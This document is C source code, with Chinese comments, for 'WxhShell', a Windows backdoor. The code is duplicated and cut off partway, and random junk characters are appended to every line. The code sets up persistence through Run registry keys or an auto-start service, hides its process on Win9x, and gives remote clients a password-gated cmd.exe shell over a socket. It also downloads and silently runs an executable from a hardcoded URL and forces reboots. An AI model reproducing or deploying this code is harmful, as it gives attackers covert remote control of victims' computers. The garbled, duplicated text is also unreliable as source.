    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]78!!G[`  
    if(Boot(SHUTDOWN)) sWHyL(C@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Izn T|l^  
    else { ~~nqU pK?v  
    closesocket(wsh); JJ ?I>S N!  
    ExitThread(0); ?^u^im  
    } u7s"0f`  
    break; -\#lF?fzb  
    } &gn-Wb?  
  // 获取shell "uKFOV?j&  
  case 's': { B+] D5K  
    CmdShell(wsh); |sIr?RL{C  
    closesocket(wsh); c~imE%  
    ExitThread(0); ,%[4j9#!_  
    break; "R[l ZJ@  
  } E]I$}>k  
  // 退出 gCuAF$o  
  case 'x': { WC*=rWRxF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rrqQCn9  
    CloseIt(wsh); gEwd &J  
    break; *geN [ [  
    } 5u$D/* Eb  
  // 离开 UKtSm%\  
  case 'q': { y$b]7O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HYCuK48F[_  
    closesocket(wsh); %}3qR~;  
    WSACleanup(); RWKH%C[Yd  
    exit(1); FhkkW W L  
    break; 3mO;JXd  
        } m$wlflt  
  } ]~0}=,H$N  
  } 8'#/LA[uPe  
jlqv2V7=/  
  // 提示信息 /,s[#J   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }Fa%%}  
} J?&l*_m;t  
  } V'G Ju  
CMW,slC_3  
  return; ,.tfWN%t\  
} CnISe^h  
uw AwWgl  
// shell模块句柄 Z=?aEU$7  
int CmdShell(SOCKET sock) S`!-Cal`n  
{ -!e7L>w  
STARTUPINFO si; s?rBE.g@}  
ZeroMemory(&si,sizeof(si)); mr:CuqJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i7*EbaYzUO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4J0Rv od_  
PROCESS_INFORMATION ProcessInfo; LWnR?Qve<  
char cmdline[]="cmd"; % 0T+t.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #_i`#d)  
  return 0; #8XL :I  
} |[$~\MU  
x/ *-P b-_  
// 自身启动模式 +4))/` DA  
int StartFromService(void) o0bM=njok  
{ BU|#e5  
typedef struct HKDID[d0  
{ !RW `3  
  DWORD ExitStatus; @? c2)0  
  DWORD PebBaseAddress; *L4`$@l8  
  DWORD AffinityMask; Lel|,mc`k2  
  DWORD BasePriority; NZ0O,} m  
  ULONG UniqueProcessId; 5PT5#[  
  ULONG InheritedFromUniqueProcessId; MGJ.,tK1  
}   PROCESS_BASIC_INFORMATION; "Gb1K9A im  
r^Zg-|gr  
PROCNTQSIP NtQueryInformationProcess; Ztr Cv?  
_hu")os  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TZR)C P5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %McE` 155  
eWJ`$"z  
  HANDLE             hProcess; V)(R]BK{  
  PROCESS_BASIC_INFORMATION pbi; AlXNg!j;5K  
J aTp} #  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 457\&  
  if(NULL == hInst ) return 0; ` Ag{)  
#S]ER907  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qOih`dla  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ar9]"s+'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;r[@v347  
HlvuW(,x=  
  if (!NtQueryInformationProcess) return 0; {X(:jAy  
`-h8vj5uG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h:Gu`+D>W  
  if(!hProcess) return 0; z`UhB%-?  
>TkE~7?l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6 5N~0t  
#X 52/8G  
  CloseHandle(hProcess); j)C,%Ol  
H,nec<Jp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o%9*B%HO/  
if(hProcess==NULL) return 0; /1mW|O>0  
scLn=  
HMODULE hMod; fC,:{}  
char procName[255]; t3(]YgF  
unsigned long cbNeeded; J &pO%Q=b  
]vWKR."4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VXIP0p@  
z|EEVNFd&  
  CloseHandle(hProcess); Sz- J y:j  
p2Zo  
if(strstr(procName,"services")) return 1; // 以服务启动 7Mb# O_eh  
ojyIQk+  
  return 0; // 注册表启动 S"wR%\NIp  
} OxI/%yv-c  
QnZcBXI8  
// 主模块 |7yAX+  
int StartWxhshell(LPSTR lpCmdLine) /x_o!<M  
{ )OiT{-m  
  SOCKET wsl; C{gyj}5  
BOOL val=TRUE; x=ul&|^7D  
  int port=0; wr[,  
  struct sockaddr_in door; R" ;x vo*  
vnWWneeNr  
  if(wscfg.ws_autoins) Install(); KMI_zhyB  
d&ex5CU5  
port=atoi(lpCmdLine);  J5^'HU3  
&boOtl^  
if(port<=0) port=wscfg.ws_port; Zt.'K(]2h  
Y. ,Kl~  
  WSADATA data; 1pArZzm>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yE}}c{hSn  
~//fN}~R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )+:EJH~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N[<\>Ps|u  
  door.sin_family = AF_INET; #Q2Y&2`yGT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y.g59X!Ub2  
  door.sin_port = htons(port); J ]nohICe  
uc;8 K,[t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n4}B r;%  
closesocket(wsl); ?b(=1S\E'^  
return 1; ?VP8ycm  
} .Fdgb4>BXX  
sBr_a5QQ#  
  if(listen(wsl,2) == INVALID_SOCKET) { WZ.@UN,  
closesocket(wsl); "?V0$-DR  
return 1; {phNds%  
} XUz3*rfs  
  Wxhshell(wsl); O^oWG&Y;v  
  WSACleanup(); _lamn }(x0  
:]\([Q+a  
return 0; a!=D[Gz*5  
z6*X%6,8  
} FoN|i"*l  
|S_eDjF  
// 以NT服务方式启动 ~_/(t'9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ibj87K  
{ < jJ  
DWORD   status = 0; hDF@'G8F  
  DWORD   specificError = 0xfffffff; Tf'hc]`vS  
f&Gt|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <g"{Wv: h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vSEuk}pk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !2ZF(@C /  
  serviceStatus.dwWin32ExitCode     = 0; 8X[:j&@  
  serviceStatus.dwServiceSpecificExitCode = 0; ;lE%M  
  serviceStatus.dwCheckPoint       = 0; F(>Np2oi6  
  serviceStatus.dwWaitHint       = 0; .%xn&3  
MN\HDKN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a<^v(r  
  if (hServiceStatusHandle==0) return; 6 (]Dh;gC  
p{T*k'  
status = GetLastError(); '=b/6@&  
  if (status!=NO_ERROR) ].-1v5  
{ *\ R ]NV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T&6l$1J  
    serviceStatus.dwCheckPoint       = 0; eA2@Nkw~)  
    serviceStatus.dwWaitHint       = 0; NPy&OcRl  
    serviceStatus.dwWin32ExitCode     = status; 9jM}~XvV  
    serviceStatus.dwServiceSpecificExitCode = specificError; >*35C`^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0X6YdW_2X  
    return; ~vm%6CABM  
  } akp-zn&je  
01t1Z}!y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e"{{ TcNk  
  serviceStatus.dwCheckPoint       = 0; E(>=rD/+  
  serviceStatus.dwWaitHint       = 0; u^^[Q2LDU}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oH97=>  
} L/$H"YOv  
0CnOL!3.I  
// 处理NT服务事件,比如:启动、停止 we;-~A5J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W=N+VqK  
{ R@1xt@?  
switch(fdwControl) ,LHn90S  
{ <sb~ ^B  
case SERVICE_CONTROL_STOP: 8{^kQ/]'|  
  serviceStatus.dwWin32ExitCode = 0; (S>C#A=E\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f\|w '  
  serviceStatus.dwCheckPoint   = 0; BtkOnbz8X  
  serviceStatus.dwWaitHint     = 0; bQg c8/  
  { &GpRI(OB/+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X8Bd3-B  
  } p $S*dr  
  return; l!D}3jD  
case SERVICE_CONTROL_PAUSE: d[iQ` YW5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8I=2lK  
  break; ` 'DmDg  
case SERVICE_CONTROL_CONTINUE: p*XANGA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7`*h2 mgY  
  break; OIGY`   
case SERVICE_CONTROL_INTERROGATE: Xr,1&"B&t  
  break; =/@D8{pU  
}; zYH&i6nj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?qb}?&1  
} ?tWaI{95I  
9)l$ aBa  
// 标准应用程序主函数 6fkRrD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ki;*u_4{  
{ A7%)~z<  
0Um2DjTCG  
// 获取操作系统版本 7y.kQI?3  
OsIsNt=GetOsVer(); z<MsKD0Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2R[:]-b  
#$.;'#u'so  
  // 从命令行安装 D, k6$`  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?e%ZOI  
v&6-a*<Z  
  // 下载执行文件 })'B<vq  
if(wscfg.ws_downexe) { Pd8![Z3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) atj(eg  
  WinExec(wscfg.ws_filenam,SW_HIDE); d9k0F OR1  
} kXViWOXU^  
y#`tgJ:  
if(!OsIsNt) { ,<.V7(|t)  
// 如果时win9x,隐藏进程并且设置为注册表启动 49eD1h3'X[  
HideProc(); ^vZSUfS  
StartWxhshell(lpCmdLine); ;xy"\S]  
} A@`}c,G  
else ."g`3tVK  
  if(StartFromService()) Lw1Yvtn  
  // 以服务方式启动 gM&{=WDG6  
  StartServiceCtrlDispatcher(DispatchTable); [DuttFX^x  
else jV i) Efy  
  // 普通方式启动 TP*hd  
  StartWxhshell(lpCmdLine); 9gW|}&-  
9i:L&dN  
return 0; ?d*z8w  
} xR~h wj  
-abt:or  
hDDn,uzpd  
:@Pl pF K  
=========================================== *VCXihgo  
Z{*\S0^ST  
|]bsCmD  
Lj({[H7D!  
,~U>'&M;  
n9\TO9N  
" 2Ah#<k-gC;  
l$KA)xbI  
#include <stdio.h> t 9lPb_70  
#include <string.h> FaAC&F@u  
#include <windows.h> MpT8" /.]A  
#include <winsock2.h> Q0sI(V#  
#include <winsvc.h> hgG9m[?K  
#include <urlmon.h> : $1?i)  
qZdQD  
#pragma comment (lib, "Ws2_32.lib") M/f<A$xx_  
#pragma comment (lib, "urlmon.lib") s S+MqBh&I  
'ms-*c&  
#define MAX_USER   100 // 最大客户端连接数 &ANf!*<\E  
#define BUF_SOCK   200 // sock buffer b=C*W,Q_#  
#define KEY_BUFF   255 // 输入 buffer As&Sq-NWf  
ZvM(Q=^  
#define REBOOT     0   // 重启 <_L,t 1H{  
#define SHUTDOWN   1   // 关机 qz_7%c]K[  
LBeF&sb6  
#define DEF_PORT   5000 // 监听端口 6q\bB  
w{8xpAqm  
#define REG_LEN     16   // 注册表键长度 j^sg6.Z*  
#define SVC_LEN     80   // NT服务名长度 (XTG8W sN  
k=$TGqQY?  
// 从dll定义API tAd%#:K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,L2ZinU:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l\H=m3Bg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5Pc;5 o0C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mthA4sz  
Z?q] bSIT  
// wxhshell配置信息 :LQYo'@yB  
struct WSCFG { g/d<Zfq<{  
  int ws_port;         // 监听端口 P= BZ+6DS  
  char ws_passstr[REG_LEN]; // 口令 EU 6oQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no U+jOTq8M  
  char ws_regname[REG_LEN]; // 注册表键名 /KaZH R.  
  char ws_svcname[REG_LEN]; // 服务名 b~P`qj[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 { 'eC`04E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +.PxzL3?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9.M4o[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n+9=1Oo"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *8A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h+H%?:FX  
>h9I M$2  
}; )AtD}HEv  
!?jrf] A@  
// default Wxhshell configuration M] %?>G  
struct WSCFG wscfg={DEF_PORT, _yx>TE2e  
    "xuhuanlingzhe", *KF#'wi  
    1, e2Pcm_Ahv*  
    "Wxhshell", q9K)Xk$LF  
    "Wxhshell", qBQ?HLK-  
            "WxhShell Service", G$"h&Xy1c  
    "Wrsky Windows CmdShell Service", ?4}h&/  
    "Please Input Your Password: ", xIW3={b3  
  1, wU36sCo  
  "http://www.wrsky.com/wxhshell.exe", ~vhE|f  
  "Wxhshell.exe" Q$W  
    }; O:R*rJ  
,8uqdk-D  
// 消息定义模块 s\(k<Ks  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |^I0dR/w:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gs[uD5oo<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2jItq2.>  
char *msg_ws_ext="\n\rExit."; 7F7 {)L  
char *msg_ws_end="\n\rQuit."; RLXL&  
char *msg_ws_boot="\n\rReboot..."; *;slV3  
char *msg_ws_poff="\n\rShutdown..."; +o{R _  
char *msg_ws_down="\n\rSave to "; M/'sl;  
B]wk+8SMY.  
char *msg_ws_err="\n\rErr!"; qr^3R&z!}  
char *msg_ws_ok="\n\rOK!"; 8'[7 )I=  
ZU4nc3__  
char ExeFile[MAX_PATH]; L#{S!P,"  
int nUser = 0; re?,Wext\  
HANDLE handles[MAX_USER]; IPKbMlV#d  
int OsIsNt; >8^ $ [}w  
t|\%VC  
SERVICE_STATUS       serviceStatus; oulVg];  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n nEgx;Nl0  
~H_/zK6e  
// 函数声明 TER=*"!  
int Install(void); /9*B)m"  
int Uninstall(void); $9#H04.x  
int DownloadFile(char *sURL, SOCKET wsh); n ATuD  
int Boot(int flag); J1|\Q:-7p  
void HideProc(void); 6vo;!V6  
int GetOsVer(void); /4V#C-  
int Wxhshell(SOCKET wsl); E0=)HTtS  
void TalkWithClient(void *cs); iC32nY?  
int CmdShell(SOCKET sock); ZY55|eE  
int StartFromService(void); P6`u._mX  
int StartWxhshell(LPSTR lpCmdLine); iN\4gQ!  
zkrM/ @p#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4r#= *  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hbDXo:  
8I?Wt W  
// 数据结构和表定义 bdrg(d6  
SERVICE_TABLE_ENTRY DispatchTable[] = S~bOUdV Z  
{ .t-4o<7 3  
{wscfg.ws_svcname, NTServiceMain}, TDKki(o=~  
{NULL, NULL} BLdvyVFx  
}; ItVWO:x&v  
%6,SKg p  
// 自我安装 PI)+Jr%L  
int Install(void) (O?.)jEW(.  
{ d#Y^>"|$.  
  char svExeFile[MAX_PATH]; P>C~ i:4n  
  HKEY key; Jb@V}Ul$  
  strcpy(svExeFile,ExeFile); Lc,Pom  
~9]hV7y5C  
// 如果是win9x系统,修改注册表设为自启动 w~A{(- dx  
if(!OsIsNt) { hGe/ ;@%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dJoaCf`w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~s*)f.l  
  RegCloseKey(key); X6X $Pve  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5"@*?X K^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +b<FO+E_  
  RegCloseKey(key); ~O0 $Suv  
  return 0; }Yzco52  
    } =E4LRKn  
  } u#$]?($}d  
} Y|f[bw  
else { <tNBxa$gS  
u@UMP@"#  
// 如果是NT以上系统,安装为系统服务 !4RWYMV "  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vn!3l1\+J  
if (schSCManager!=0) ^z IW+:  
{ h$>-.-  
  SC_HANDLE schService = CreateService zuad~%D<I  
  ( jyUjlYAAv`  
  schSCManager, @[<><uTH  
  wscfg.ws_svcname, 2j88<Yh]H  
  wscfg.ws_svcdisp, jh%Eq+#S  
  SERVICE_ALL_ACCESS, OmpND{w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,+DG2u  
  SERVICE_AUTO_START, 3vN_p$  
  SERVICE_ERROR_NORMAL, Lv;^My  
  svExeFile, ]Ji.Zk  
  NULL, ^e_hLX\SW  
  NULL, +T1pJ 89P  
  NULL, q460iL7yF}  
  NULL, 3 *"WG O5  
  NULL ]?kZni8j_  
  ); l'-Bu(  
  if (schService!=0) $oID(P  
  { u<tbbKM  
  CloseServiceHandle(schService); *=/ { HvJ  
  CloseServiceHandle(schSCManager); EReZkvseC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9k '7832u  
  strcat(svExeFile,wscfg.ws_svcname); .\ULbN3Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6$Xzpg(o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %+W{iu[|  
  RegCloseKey(key); _~l5u8{^6  
  return 0; OUPUixz2Z  
    } "Y =;.:qe  
  } 1QcNp (MO  
  CloseServiceHandle(schSCManager); en4k/w_  
} A@!qv#'  
} [2!w_Iw'  
u^ +7hkk  
return 1; +ZaSM~   
} y*jp79G  
Z*]9E^  
// 自我卸载 %op**@4/t\  
int Uninstall(void) K( c\wr\6  
{ 8sWJcmVo  
  HKEY key; |PCm01NU!  
GbY7_N  
if(!OsIsNt) { ~rqCN,=d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 36&e.3/#  
  RegDeleteValue(key,wscfg.ws_regname); .=7vI$ujd  
  RegCloseKey(key); TTX5EDCrC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YNyk1cE  
  RegDeleteValue(key,wscfg.ws_regname); ky,(xT4  
  RegCloseKey(key); O_ muD\  
  return 0; FBe;1OU  
  } Tj` ,Z5vy  
} T?CdZc.  
} MO]F1E?X  
else { }#RakV4  
b;B%q$sntC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :gv{F} ##  
if (schSCManager!=0) CAig ]=2'  
{ y4 #>X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d`=MgHz  
  if (schService!=0) h ohfE3rd  
  { Fbr;{T .  
  if(DeleteService(schService)!=0) { 6m/r+?'  
  CloseServiceHandle(schService); 1Z/(G1  
  CloseServiceHandle(schSCManager); IYE~t  
  return 0; hlvK5Z   
  } x}wG:K  
  CloseServiceHandle(schService); P-9)38`5  
  } Q",t3i4  
  CloseServiceHandle(schSCManager); ]`!>6/[  
} L:$ ,v^2  
} 8rAg \H3E  
?um;s-x)  
return 1; P[G)sA_"  
} &)# ihK_  
g>E LGG |Q  
// 从指定url下载文件 T8?Ghbn  
int DownloadFile(char *sURL, SOCKET wsh) T#T*Zw"+  
{ 58}U^IW  
  HRESULT hr; :_`F{rDB  
char seps[]= "/"; {Y(zd[  
char *token; '|6]_   
char *file; ANAVn@ [  
char myURL[MAX_PATH]; Ljm[?*H#  
char myFILE[MAX_PATH]; W]$w@.oW[  
*?@?f&E/  
strcpy(myURL,sURL); `f,/`''R  
  token=strtok(myURL,seps); ^2:p|:Bz!l  
  while(token!=NULL) T= 80,  
  { XW 2b|%T  
    file=token; `P@<3]  
  token=strtok(NULL,seps); k&M;,e3v6  
  } M><yGaaX/  
r5S[-`s;  
GetCurrentDirectory(MAX_PATH,myFILE); xWH.^o,"  
strcat(myFILE, "\\"); v4!VrI  
strcat(myFILE, file); aL\PGdgO  
  send(wsh,myFILE,strlen(myFILE),0); _O)>$.^6  
send(wsh,"...",3,0); MVpGWTH@F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i'<[DjMDlm  
  if(hr==S_OK) a K[&V't~  
return 0; +zqn<<9  
else d"1]4.c  
return 1; 1 &jc/*Z"  
Y sC>i`n9  
} tH@Erh|%  
I.(, hFx;  
// 系统电源模块 c1(RuP:S  
int Boot(int flag) ;$,U~0  
{ +yG~T  
  HANDLE hToken; EmWn%eMN  
  TOKEN_PRIVILEGES tkp; R`5.[?Dt  
zy?|ODM  
  if(OsIsNt) { V;VHv=9`o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 88O8wJN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Lz}OwKl  
    tkp.PrivilegeCount = 1; BGZ#wru  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D(op)]8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oN~&_*FE  
if(flag==REBOOT) { ,$L4dF3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wx%H%FeK  
  return 0; h]&GLb&<?  
} lWk>z; d  
else { #<"~~2?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tyDU @M  
  return 0; HXC ;Np  
} \[i1JG  
  } !RS}NS  
  else { wc@X.Q[  
if(flag==REBOOT) { pZ{+c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ij`w} V  
  return 0; @Ns Qd_e  
} wo{gG?B  
else { |Pax=oJ\M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vkV0On  
  return 0; ?3`UbN:  
} 'W^YM@  
} U[-o> W#  
)T2Caqs2  
return 1; :gibfk]C  
} @+2=g WH  
1z4OI6$Af  
// win9x进程隐藏模块 yjX9oxhtL  
void HideProc(void) X=&ET)8-Y  
{ ',@3>T**  
FIhk@TKa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 13=AW  
  if ( hKernel != NULL ) ;(Or`u]Dr  
  { 20h, ^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zrgk]n;Pq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :J@ gmY:C  
    FreeLibrary(hKernel); nPl?K:(  
  } I-*S&SiXjI  
9wwqcx)3(  
return; Do7Tj  
} -<!NXm|kvz  
:U%W%  
// 获取操作系统版本 $k%2J9O  
int GetOsVer(void) I"<\<^B<  
{ \'D0'\:vz  
  OSVERSIONINFO winfo; K=k"a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mxC;?s;~  
  GetVersionEx(&winfo); `(V3:F("@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PiIpnoM  
  return 1; 4F'LBS]=0  
  else AjMh,@  
  return 0; E,U+o $  
} zP8lN(LA  
'Aq{UGN  
// 客户端句柄模块 M`!H"R7  
int Wxhshell(SOCKET wsl) J @1!Oq>  
{ "7F?@D$e  
  SOCKET wsh; WlC:l  
  struct sockaddr_in client; kfY}S  
  DWORD myID; .jE{3^  
Fj3a.'  
  while(nUser<MAX_USER) c9u`!'g`i  
{ SsDmoEeB[  
  int nSize=sizeof(client); MaQqs=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7WS p($  
  if(wsh==INVALID_SOCKET) return 1; k)=s>&hl  
H=vUYz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Zt{[ *~  
if(handles[nUser]==0) 04P}-L,  
  closesocket(wsh); A[{yCn`tM  
else F/kWHVHU[  
  nUser++; }!.(n=idZ  
  } mL{6L?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fxHH;hRfv  
O-hAFKx  
  return 0; <=/hi l  
} y/7\?qfTk  
0pd'93C  
// 关闭 socket !F'YDjTot  
void CloseIt(SOCKET wsh) *P=VFP  
{ .?sx&2R2  
closesocket(wsh); KRRdXx\~  
nUser--; 0=1T.4+=  
ExitThread(0); bJTBjS-7  
} 3bH'H*2  
qfm|@v|De5  
// 客户端请求句柄 ?NsW|w_  
void TalkWithClient(void *cs) d/kv|$XW  
{ _A9AEi'.  
-C]5>& W  
  SOCKET wsh=(SOCKET)cs; &B1WtW  
  char pwd[SVC_LEN]; eru.m+\  
  char cmd[KEY_BUFF]; \Uq(Zga4)  
char chr[1]; ?%[@Qb=2  
int i,j; Qpc__dA\  
7;wd(8  
  while (nUser < MAX_USER) { JL{VD /f  
qu{&xjTH8  
if(wscfg.ws_passstr) { u\;C;I-? '  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K1yzD6[eW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TKmf+ZT*r  
  //ZeroMemory(pwd,KEY_BUFF); KB(8f*  
      i=0; s9DYi~/,  
  while(i<SVC_LEN) { fJ!R6D  
$DaNbLV  
  // 设置超时 w%jII{@,  
  fd_set FdRead; ,R* ]>'  
  struct timeval TimeOut; I:1C8*/  
  FD_ZERO(&FdRead); GH$pKB  
  FD_SET(wsh,&FdRead); [5Mr@f4I  
  TimeOut.tv_sec=8; ],Do6 @M-  
  TimeOut.tv_usec=0; ^o&. fQ*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x7<K<k;s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K`fuf=  
@Qt{jI !  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tW}'g:s  
  pwd=chr[0]; E""bTz@  
  if(chr[0]==0xd || chr[0]==0xa) { 5MJS ~(  
  pwd=0; 7Kxp=-k  
  break; ^9:Z7 >Z  
  } -;WGS o  
  i++; ]2qo+yB  
    } vy:Z/1q  
LsU9 .  
  // 如果是非法用户,关闭 socket }a(dyr`S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z1X`o  
} b,1ePS  
P.9>z7l{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hf&9uHN%7m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JYHl,HH#z  
_L=h0H l  
while(1) { oE]QF.n#  
AFE~ v\Gz  
  ZeroMemory(cmd,KEY_BUFF); d<P\&!R(  
Bh-ym8D  
      // 自动支持客户端 telnet标准   %:* YO;dw'  
  j=0; :& ."ttf=  
  while(j<KEY_BUFF) { tf`^v6m%]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ds[|   
  cmd[j]=chr[0]; qF;|bF  
  if(chr[0]==0xa || chr[0]==0xd) { 9V*qQS5<p  
  cmd[j]=0; !'*-$e  
  break; c(s.5p ^  
  } xMG~N`r  
  j++; T{[=oH+  
    } WCixKYq  
g{&ui.ml&  
  // 下载文件 Yr[\|$H5  
  if(strstr(cmd,"http://")) { D2~*&'4y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XVZ   
  if(DownloadFile(cmd,wsh)) uJ v-4H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {&1/V  
  else PB\x3pV!}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u.xnOcOH!  
